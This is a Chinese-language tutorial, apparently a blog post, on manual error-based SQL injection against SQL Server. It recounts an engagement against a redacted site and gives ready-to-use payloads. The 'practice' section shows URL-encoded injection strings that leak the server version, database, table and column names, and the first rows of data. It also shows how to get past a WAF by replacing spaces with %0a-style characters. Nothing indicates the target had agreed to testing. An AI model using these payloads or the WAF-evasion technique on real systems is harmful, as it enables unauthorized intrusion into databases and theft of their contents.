SQL Server手工注入
背景
某次xx,遇到了一处SQL Server 的注入点,由于平时碰到的SQL Server数据库比较少,所以本文将记录SQL Server的手工注入及其技巧,以便查阅。
思路
一般SQL注入都是先查库名再查表名最后查字段,查到字段之后就可以查到里面的数据了。 那么我们先查第一个库名:
SELECT top 1 Name FROM Master..SysDatabases
返回
master
这里返回的第一个数据库master是系统库,SQL Server总共有五个系统数据库,其说明如下:
系统数据库 | 说明 |
---|---|
master | 记录SQL Server 系统的所有系统级信息的数据库 |
msdb | SQL Server 代理用来安排警报和作业以及记录操作员信息的数据库。 msdb 还包含历史记录表,例如备份和还原历史记录表 |
model | 在SQL Server 实例上为所有数据库创建的模板。 |
Resource | 包含 SQL Server 2005 或更高版本附带的所有系统对象副本的只读数据库 |
tempdb | 用于保存临时或中间结果集的工作空间。 每次启动 SQL Server 实例时都会重新创建此数据库。 服务器实例关闭时,将永久删除 tempdb 中的所有数据。 |
摘自
https://docs.microsoft.com/zh-cn/previous-versions/sql/sql-server-2012/ms190190(v=sql.110)
那么我们继续查第二个库,在SQL Server中跟MYSQL不同,如果是在MYSQL中我们可以用 limit 去查,在SQL Server中需要加 not in (‘库名1’,’库名2’,…..)去排除里面的集合
第二个库:
SELECT top 1 Name FROM Master..SysDatabases where name not in ('master')
返回
model
那么以此类推,我们就可以得到所有库名。 但是如果后面的集合越来越大,这样去查并不是最有效率的,虽然说查库名可能没有感觉,但如果是表名呢? 这样查到后面的集合无疑是越来越大,当然,我们在数据库中可以更改 top 后面的数值去查询多条:
SELECT top 5 Name FROM Master..SysDatabases
返回:
Name | |
---|---|
1 | master |
2 | tempdb |
3 | model |
4 | msdb |
5 | xxx |
实战的情况往往是不行的,因为用 top 去查返回的会是多行数据,而一般的注入点返回的只是单行,用这种方法返回的多个数据无法显示在单行,所以我们不能用这种方法去查。
在参考了倾旋的文章:
https://payloads.online/archivers/2020-03-02/3#stuff%E4%B8%8Exml-path
还有国外的一篇文章:
https://www.sqlshack.com/for-xml-path-clause-in-sql-server/
发现了可以用 FOR XML将SQL语句返回的多行数据合并成单行
关于FOR XML的文档:
https://docs.microsoft.com/zh-cn/sql/relational-databases/xml/for-xml-sql-server?view=sql-server-ver15
SELECT 查询将结果作为行集返回。 (可选操作)您可以通过在 SQL 查询中指定 FOR XML 子句,从而将该查询的正式结果作为 XML 来检索。 FOR XML 子句可以用在顶级查询和子查询中。 顶级 FOR XML 子句只能用在 SELECT 语句中。 而在子查询中,FOR XML 可以用在 INSERT、UPDATE 和 DELETE 语句中。 FOR XML 还可以用在赋值语句中。
其中FOR XML有四种模式分别为
- RAW
- AUTO
- EXPLICIT
- PATH
这里我们可以用较为简单的PATH模式
SELECT Name from Master..SysDatabases FOR XML PATH
返回
<row><Name>master</Name></row><row><Name>tempdb</Name></row><row><Name>model</Name></row><row><Name>msdb</Name></row>...
我们发现这里返回的数据变成了单行,现在我们要去掉row标签
SELECT Name from Master..SysDatabases FOR XML PATH('')
返回
<Name>master</Name><Name>tempdb</Name><Name>model</Name>....
虽然说已经返回单行数据,但是有很多标签看着还是不舒服,参考了倾旋的方法,他是用
'['+name+'],'
这种方式进行拼接,我这里为了减少payload长度,直接用逗号进行拼接:
SELECT name+',' FROM(SELECT name from Master..SysDatabases) a FOR XML PATH('')
返回
master,tempdb,model,msdb,...
这样会更方便查看。
关于STUFF函数:
https://docs.microsoft.com/zh-cn/sql/t-sql/functions/stuff-transact-sql?view=sql-server-ver15
也可以通过STUFF函数进行拼接
SELECT STUFF((SELECT name+',' FROM(SELECT name from Master..SysDatabases) a FOR XML PATH('') ), 1,0, '')
我在本地测试了下,用这种方式的返回和不加STUFF函数的结果是一样的,于是我在实测中便不采用这种方法。
实战
手工发现注入点,单引号报错:
xxx.com?abc=1'
查版本:
xxx.com?abc=a' and 1=(select @@version) and '1'='1
爆了版本的错误
于是接着注库名
xxx.com?abc=a' and 1=(SELECT name+',' FROM(SELECT name from Master..SysDatabases)a FOR XML PATH('')) and '1'='1
然后被waf给拦截了.. SQL Server数据库不像MYSQL有內联注释可以绕过很多软waf,所以考虑将payload变形,首先想到的是将特殊符号(单引号)进行urlencode,结果发现还是被拦截了,接着考虑将payload进行base64编码,结果发现这个注入点传递到数据库不支持base64编码。最后我将空格换成%0a,%0b,%0c等,成功绕过。
xxx.com?abc=a%27%0aand%0a1=(SELECT%0aname%2b%27,%27%0aFROM(SELECT%0aname%0afrom%0aMaster..SysDatabases)%0a%0aFOR%0a%0aXML%0aPATH(%27%27))a%0aand%0a%271%27=%271
成功返回库名 接着开始注表名,在SQL Server中查询表名的语句是:
SELECT name+',' FROM(SELECT name from xxx.sys.all_objects where type='U')a FOR XML PATH('')
这里
xxx.sys.all_objects
‘xxx’指的是数据库名,执行成功后返回xxx库的表名 那么我们运用到实战:
xxx.com?abc=a%27%0aand%0a1=(SELECT%0aname%2b%27,%27%0aFROM(SELECT%0aname%0afrom%0axxx.sys.all_objects%0awhere%0atype=%27U%27)a%0aFOR%0a%0aXML%0aPATH(%27%27))%0aand%0a%271%27=%271
成功返回表名
注字段名的语句,table指的是注出来的表名
select name+',' from (SELECT Name FROM SysColumns WHERE id=Object_Id('table'))a FOR XML PATH('')
那么运用到实战:
xxx.com?abc=a%27%0aand%0a1=(select%0aname%2b%27,%27%0afrom%0a(SELECT%0aName%0aFROM%0aSysColumns%0aWHERE%0aid=Object_Id(%27table%27))a%0afor%0axml%0apath(%27%27))%0aand%0a%271%27=%271
接着注字段的值
SELECT column+',' FROM(SELECT column from 数据库名.dbo.table)a FOR XML PATH('')
这里column指的是字段名,table指的是表名,如果不指定数据库名就会查当前数据库 运用到实战
xxx.com?abc=a%27%0aand%0a1=(SELECT%0atop%0a5%0acolumn%2b%27,%27%0aFROM(SELECT%0acolumn%0afrom%0adbo.table)a%0aFOR%0a%0aXML%0aPATH(%27%27))%0aand%0a%271%27=%271
成功注出前五条数据